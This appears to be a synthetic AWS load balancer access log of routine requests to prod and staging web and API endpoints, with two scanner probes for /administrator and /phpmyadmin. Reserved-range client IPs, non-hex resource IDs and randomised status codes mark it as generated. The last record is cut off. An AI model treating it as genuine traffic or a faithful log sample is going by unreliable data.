arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf6c-dbe53a8376ae4b7ca0884a21" "prod-api-alb.example.com" "-" 3 2024-11-01T00:33:32.643564Z "forward" "-" "-" "10.0.242.92:443" "301" "-" "-" +https 2024-11-01T00:33:34.258807Z prod-web-alb 237.112.58.86:53065 10.0.70.79:443 0.023949 0.145549 0.054335 200 200 618 12183 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf6e-958f6fbf18dc4553b97ab29e" "prod-web-alb.example.com" "-" 4 2024-11-01T00:33:34.258807Z "forward" "-" "-" "10.0.70.79:443" "200" "-" "-" +https 2024-11-01T00:33:35.575108Z prod-web-alb 24.89.121.127:46784 10.0.3.74:443 0.097137 0.430700 0.056217 200 200 154 10036 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf6f-1c006048632f405ebb9ccf5f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:35.575108Z "forward" "-" "-" "10.0.3.74:443" "200" "-" "-" +https 2024-11-01T00:33:37.045125Z prod-web-alb 186.174.29.174:33536 10.0.122.237:443 0.062326 0.101340 0.028174 200 200 19 11592 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf71-3092d950942e49919d1e0ea9" "prod-web-alb.example.com" "-" 6 2024-11-01T00:33:37.045125Z "forward" "-" "-" "10.0.122.237:443" "200" "-" "-" +http 2024-11-01T00:33:37.711743Z staging-alb 230.7.83.37:23550 46.47.131.108:443 0.080049 0.179003 0.049965 200 200 192 3673 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf71-1bb52359005a47f698c756b7" "staging-alb.example.com" "-" 1 2024-11-01T00:33:37.711743Z "forward" "-" "-" "46.47.131.108:443" "200" "-" "-" +https 2024-11-01T00:33:39.143243Z prod-web-alb 164.247.196.10:48733 10.0.135.253:443 0.094939 0.405292 0.047376 301 301 690 14404 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf73-ce1b2aadec0f4661a15a65c8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:33:39.143243Z "forward" "-" "-" "10.0.135.253:443" "301" "-" "-" +https 2024-11-01T00:33:40.675396Z staging-alb 63.80.131.109:35893 97.154.165.121:80 0.134473 0.656255 0.112886 301 301 707 2102 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf74-a60d765163b248eda021fe15" "staging-alb.example.com" "-" 4 2024-11-01T00:33:40.675396Z "forward" "-" "-" "97.154.165.121:80" "301" "-" "-" +https 2024-11-01T00:33:42.249708Z prod-web-alb 144.47.224.93:10609 10.0.54.253:443 0.044190 0.073069 0.042099 301 301 209 5351 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf76-533a19e6df514795ad541d4d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:33:42.249708Z "forward" "-" "-" "10.0.54.253:443" "301" "-" "-" +https 2024-11-01T00:33:43.503323Z staging-alb 115.58.51.17:17094 169.39.155.238:443 0.127660 0.331681 0.068323 302 302 680 3492 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf77-8f8414b83c8443408ed5cab9" "staging-alb.example.com" "-" 10 2024-11-01T00:33:43.503323Z "forward" "-" "-" "169.39.155.238:443" "302" "-" "-" +https 2024-11-01T00:33:44.610668Z prod-api-alb 137.122.165.104:15364 10.0.97.41:443 0.020396 0.222908 0.094060 404 404 465 14760 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf78-6683afade5bc4a9986cf78de" "prod-api-alb.example.com" "-" 3 2024-11-01T00:33:44.610668Z "forward" "-" "-" "10.0.97.41:443" "404" "-" "-" +https 2024-11-01T00:33:45.957121Z prod-api-alb 58.165.117.168:15860 10.0.136.233:443 0.070717 0.406344 0.013886 200 200 555 1299 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf79-9686928b30514832922a392b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:33:45.957121Z "forward" "-" "-" "10.0.136.233:443" "200" "-" "-" +https 2024-11-01T00:33:47.399339Z prod-api-alb 47.199.152.112:25543 10.0.114.138:443 0.020617 0.193189 0.073819 200 200 601 11362 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf7b-5b09207c3f354366980dfe30" "prod-api-alb.example.com" "-" 4 2024-11-01T00:33:47.399339Z "forward" "-" "-" "10.0.114.138:443" "200" "-" "-" +https 2024-11-01T00:33:47.952014Z staging-alb 156.230.63.155:18415 227.229.49.116:8080 0.145031 0.010557 0.130546 302 302 999 12254 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf7b-96c064e71d0e4338987e875a" "staging-alb.example.com" "-" 9 2024-11-01T00:33:47.952014Z "forward" "-" "-" "227.229.49.116:8080" "302" "-" "-" +https 2024-11-01T00:33:49.726125Z prod-api-alb 251.171.134.162:35237 10.0.92.13:443 0.080377 0.237663 0.062767 302 302 409 14413 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf7d-a180a0b5d2044253905d3c67" "prod-api-alb.example.com" "-" 9 2024-11-01T00:33:49.726125Z "forward" "-" "-" "10.0.92.13:443" "302" "-" "-" +https 2024-11-01T00:33:51.622180Z prod-web-alb 250.255.98.212:56834 10.0.230.209:443 0.073345 0.009750 0.014635 200 200 695 4879 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf7f-3d9751241fe1428a9cd182b1" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:51.622180Z "forward" "-" "-" "10.0.230.209:443" "200" "-" "-" +https 2024-11-01T00:33:53.365640Z prod-api-alb 144.47.68.108:49047 10.0.126.99:443 0.007516 0.454254 0.025826 200 200 386 11791 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf81-96def737d15340eba0ee4adb" "prod-api-alb.example.com" "-" 5 2024-11-01T00:33:53.365640Z "forward" "-" "-" "10.0.126.99:443" "200" "-" "-" +https 2024-11-01T00:33:54.270836Z prod-web-alb 60.197.140.207:13175 10.0.97.116:443 0.087410 0.445050 0.000319 302 302 456 14710 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf82-2089bab7ea374e64b1338769" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:54.270836Z "forward" "-" "-" "10.0.97.116:443" "302" "-" "-" +http 2024-11-01T00:33:54.466022Z staging-alb 79.162.142.58:58254 167.6.68.14:80 0.033400 0.558280 0.116478 200 200 544 8586 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf82-01d990513f5f484796fd33d3" "staging-alb.example.com" "-" 10 2024-11-01T00:33:54.466022Z "forward" "-" "-" "167.6.68.14:80" "200" "-" "-" +https 2024-11-01T00:33:55.041936Z prod-web-alb 146.86.97.49:34597 10.0.82.47:443 0.042907 0.217285 0.023750 200 200 324 13742 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf83-6fe99db2b4d048c986cab0bb" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:55.041936Z "forward" "-" "-" "10.0.82.47:443" "200" "-" "-" +https 2024-11-01T00:33:55.592510Z prod-api-alb 114.3.190.254:51181 10.0.65.161:443 0.051034 0.307445 0.005314 404 404 561 540 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf83-3969fa9e26cd416dab305afd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:33:55.592510Z "forward" "-" "-" "10.0.65.161:443" "404" "-" "-" +http 2024-11-01T00:33:55.714342Z staging-alb 52.233.169.21:16816 226.198.16.241:80 0.130284 0.500680 0.119118 200 200 757 11879 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf83-0c86a4e656f6459ab7e4f298" "staging-alb.example.com" "-" 1 2024-11-01T00:33:55.714342Z "forward" "-" "-" "226.198.16.241:80" "200" "-" "-" +https 2024-11-01T00:33:57.491675Z prod-web-alb 12.140.40.32:40819 10.0.48.140:443 0.055312 0.391779 0.051129 200 200 53 6771 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf85-675037d2493d4142a57483e6" "prod-web-alb.example.com" "-" 5 2024-11-01T00:33:57.491675Z "forward" "-" "-" "10.0.48.140:443" "200" "-" "-" +https 2024-11-01T00:33:58.250866Z prod-web-alb 235.191.213.46:51985 10.0.111.65:443 0.042562 0.075456 0.087110 301 301 782 10344 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf86-4ed2eca5c502446bb6653c52" "prod-web-alb.example.com" "-" 8 2024-11-01T00:33:58.250866Z "forward" "-" "-" "10.0.111.65:443" "301" "-" "-" +https 2024-11-01T00:33:58.517799Z prod-web-alb 251.248.189.207:26959 10.0.254.186:443 0.094435 0.191947 0.077066 404 404 923 9674 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf86-7f982432900c4025a365ad24" "prod-web-alb.example.com" "-" 7 2024-11-01T00:33:58.517799Z "forward" "-" "-" "10.0.254.186:443" "404" "-" "-" +https 2024-11-01T00:33:59.773040Z prod-api-alb 103.112.92.19:34472 10.0.29.147:443 0.046642 0.010217 0.077301 200 200 731 11087 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf87-93cf14bafd9542898a198610" "prod-api-alb.example.com" "-" 6 2024-11-01T00:33:59.773040Z "forward" "-" "-" "10.0.29.147:443" "200" "-" "-" +https 2024-11-01T00:34:01.016795Z prod-web-alb 203.202.226.209:11499 10.0.208.59:443 0.083408 0.042112 0.075762 301 301 271 10633 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf89-b1f76b67fa0340678cb05737" "prod-web-alb.example.com" "-" 9 2024-11-01T00:34:01.016795Z "forward" "-" "-" "10.0.208.59:443" "301" "-" "-" +https 2024-11-01T00:34:01.195708Z staging-alb 89.138.18.120:18339 172.10.184.197:443 0.041074 0.070856 0.107332 302 302 386 9593 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf89-150909eae34d47d19a452f9e" "staging-alb.example.com" "-" 9 2024-11-01T00:34:01.195708Z "forward" "-" "-" "172.10.184.197:443" "302" "-" "-" +http 2024-11-01T00:34:02.478333Z staging-alb 45.155.205.70:48743 158.39.153.254:80 0.078282 0.507634 0.072194 301 301 832 6648 "GET /administrator HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf8a-325e0fe430a7411ba25e20a9" "-" "-" 10 2024-11-01T00:34:02.478333Z "forward" "-" "-" "158.39.153.254:80" "301" "-" "-" +https 2024-11-01T00:34:03.314871Z prod-web-alb 193.27.228.87:30989 10.0.146.207:443 0.064410 0.414762 0.018237 403 403 974 7332 "GET /phpmyadmin HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf8b-8c20dd5224b14cab8208f96a" "-" "-" 3 2024-11-01T00:34:03.314871Z "forward" "-" "-" "10.0.146.207:443" "403" "-" "-" +https 2024-11-01T00:34:04.149643Z staging-alb 106.189.99.200:24942 75.111.213.54:443 0.096754 0.723418 0.125459 200 200 111 1832 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf8c-165ea3ea8bd14049b217b965" "staging-alb.example.com" "-" 2 2024-11-01T00:34:04.149643Z "forward" "-" "-" "75.111.213.54:443" "200" "-" "-" +https 2024-11-01T00:34:04.908230Z prod-api-alb 138.125.158.236:45488 10.0.31.207:443 0.086604 0.191708 0.025953 404 404 505 9438 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf8c-382518067b164e75b375ae70" "prod-api-alb.example.com" "-" 5 2024-11-01T00:34:04.908230Z "forward" "-" "-" "10.0.31.207:443" "404" "-" "-" +http 2024-11-01T00:34:05.633614Z staging-alb 236.143.52.124:32188 39.118.125.100:80 0.038652 0.095719 0.104206 200 200 991 8654 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf8d-af966d6b7c5840c599c0a32b" "staging-alb.example.com" "-" 8 2024-11-01T00:34:05.633614Z "forward" "-" "-" "39.118.125.100:80" "200" "-" "-" +https 2024-11-01T00:34:06.371575Z prod-web-alb 224.133.82.38:19134 10.0.249.128:443 0.062186 0.177188 0.090566 200 200 316 2299 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf8e-1e60fc9eea8d45f8ba7e46a1" "prod-web-alb.example.com" "-" 3 2024-11-01T00:34:06.371575Z "forward" "-" "-" "10.0.249.128:443" "200" "-" "-" +https 2024-11-01T00:34:06.968051Z prod-api-alb 224.43.79.95:10871 10.0.2.12:443 0.028989 0.358581 0.082682 200 200 805 5648 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf8e-024ee37c70d64507aa5b6569" "prod-api-alb.example.com" "-" 6 2024-11-01T00:34:06.968051Z "forward" "-" "-" "10.0.2.12:443" "200" "-" "-" +https 2024-11-01T00:34:08.173818Z prod-api-alb 149.213.228.15:17115 10.0.160.151:443 0.003131 0.395764 0.055822 200 200 298 10193 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf90-cef034e1494e4dccaab281bb" "prod-api-alb.example.com" "-" 4 2024-11-01T00:34:08.173818Z "forward" "-" "-" "10.0.160.151:443" "200" "-" "-" +https 2024-11-01T00:34:09.035821Z prod-web-alb 244.182.16.192:33677 10.0.242.51:443 0.013589 0.241159 0.016822 302 302 885 14478 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf91-6f46c21129db4a6da08a8b84" "prod-web-alb.example.com" "-" 10 2024-11-01T00:34:09.035821Z "forward" "-" "-" "10.0.242.51:443" "302" "-" "-" +https 2024-11-01T00:34:10.118569Z prod-api-alb 162.167.247.70:31474 10.0.137.78:443 0.092431 0.390032 0.094954 200 200 462 7667 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf92-643c7ce8542743f4850a4969" "-" "-" 0 2024-11-01T00:34:10.118569Z "forward" "-" "-" "10.0.137.78:443" "200" "-" "-" +https 2024-11-01T00:34:10.496293Z prod-api-alb 53.162.194.29:32463 10.0.70.41:443 0.068324 0.145880 0.027158 200 200 551 6175 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf92-4ab2825641f14171a080a2be" "prod-api-alb.example.com" "-" 4 2024-11-01T00:34:10.496293Z "forward" "-" "-" "10.0.70.41:443" "200" "-" "-" +https 2024-11-01T00:34:10.977484Z prod-api-alb 144.108.142.247:12700 10.0.83.57:443 0.076485 0.008311 0.082095 301 301 528 3905 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf92-f8880321d5c14321a33c5f16" "prod-api-alb.example.com" "-" 0 2024-11-01T00:34:10.977484Z "forward" "-" "-" "10.0.83.57:443" "301" "-" "-" +https 2024-11-01T00:34:11.896249Z staging-alb 195.134.91.119:37641 74.251.173.177:8080 0.111749 0.212674 0.137400 302 302 826 6536 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf93-42e84bfd4fa24aceb1ab0885" "staging-alb.example.com" "-" 6 2024-11-01T00:34:11.896249Z "forward" "-" "-" "74.251.173.177:8080" "302" "-" "-" +https 2024-11-01T00:34:13.000691Z prod-api-alb 78.235.173.121:54950 10.0.154.164:443 0.055515 0.249267 0.059405 200 200 1 4947 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf95-2b3e8958064e48fbac676a84" "prod-api-alb.example.com" "-" 1 2024-11-01T00:34:13.000691Z "forward" "-" "-" "10.0.154.164:443" "200" "-" "-" +https 2024-11-01T00:34:13.299526Z prod-api-alb 175.58.127.230:64019 10.0.186.153:443 0.077276 0.185068 0.099616 404 404 40 4010 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf95-542c9fdcf3384d4e96ff65df" "prod-api-alb.example.com" "-" 4 2024-11-01T00:34:13.299526Z "forward" "-" "-" "10.0.186.153:443" "404" "-" "-" +https 2024-11-01T00:34:14.057402Z prod-api-alb 187.250.74.46:20566 10.0.52.252:443 0.067548 0.031141 0.060157 301 301 432 13468 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf96-520bf5112f244f9aae70c86b" "prod-api-alb.example.com" "-" 2 2024-11-01T00:34:14.057402Z "forward" "-" "-" "10.0.52.252:443" "301" "-" "-" +http 2024-11-01T00:34:16.021819Z staging-alb 38.216.150.164:12834 62.95.40.27:443 0.049093 0.656962 0.131548 200 200 408 8601 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf98-fc7f25c0a9114839bd532705" "staging-alb.example.com" "-" 4 2024-11-01T00:34:16.021819Z "forward" "-" "-" "62.95.40.27:443" "200" "-" "-" +https 2024-11-01T00:34:16.875878Z prod-api-alb 126.236.158.195:11084 10.0.167.107:443 0.024973 0.485755 0.007450 200 200 145 5717 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf98-f9a5216f77a7475fa18578b6" "prod-api-alb.example.com" "-" 6 2024-11-01T00:34:16.875878Z "forward" "-" "-" "10.0.167.107:443" "200" "-" "-" +https 2024-11-01T00:34:17.518537Z prod-web-alb 233.228.95.64:24783 10.0.250.181:443 0.055691 0.238924 0.040103 200 200 677 9195 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf99-0618775065d54b9fbc83bcf4" "prod-web-alb.example.com" "-" 8 2024-11-01T00:34:17.518537Z "forward" "-" "-" "10.0.250.181:443" "200" "-" "-" +https 2024-11-01T00:34:19.317399Z staging-alb 85.17.40.32:42582 102.111.250.104:80 0.100882 0.726720 0.140408 200 200 455 1518 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf9b-4aa8d977cbcf4a21829230c5" "staging-alb.example.com" "-" 3 2024-11-01T00:34:19.317399Z "forward" "-" "-" "102.111.250.104:80" "200" "-" "-" +https 2024-11-01T00:34:20.784214Z prod-api-alb 146.46.45.166:32496 10.0.50.68:443 0.033526 0.389147 0.000512 404 404 353 3600 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf9c-a9fd592b0f594b9390f91d0c" "prod-api-alb.example.com" "-" 8 2024-11-01T00:34:20.784214Z "forward" "-" "-" "10.0.50.68:443" "404" "-" "-" +https 2024-11-01T00:34:21.830364Z prod-web-alb 124.38.67.75:48489 10.0.253.14:443 0.048972 0.174144 0.048869 404 404 376 7328 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 